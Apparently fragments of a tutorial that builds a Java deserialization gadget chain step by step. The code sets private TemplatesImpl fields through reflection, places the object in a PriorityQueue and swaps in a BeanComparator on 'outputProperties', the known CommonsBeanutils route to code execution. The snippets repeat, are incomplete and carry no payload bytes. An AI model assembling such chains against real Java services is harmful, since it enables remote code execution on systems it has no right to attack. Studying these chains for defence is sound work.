public class Main { public static void main(String[] args) throws Exception{ // 测试JavaBean类的功能 Person person = new Person("11",12); System.out.println(PropertyUtils.getProperty(person,"age"));
public class Main { public static void main(String[] args) throws Exception{ // 测试JavaBean类的功能 Person person = new Person("11",12); // System.out.println(PropertyUtils.getProperty(person,"age")); TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
public class Main { public static void main(String[] args) throws Exception{ // 测试JavaBean类的功能 Person person = new Person("11",12); // System.out.println(PropertyUtils.getProperty(person,"age")); TemplatesImpl templates=new TemplatesImpl(); Class tc=templates.getClass(); Field nameFiled=tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2); Class<PriorityQueue> c = PriorityQueue.class; Field comparatorField = c.getDeclaredField("comparator"); comparatorField.setAccessible(true); comparatorField.set(priorityQueue,beanComparator);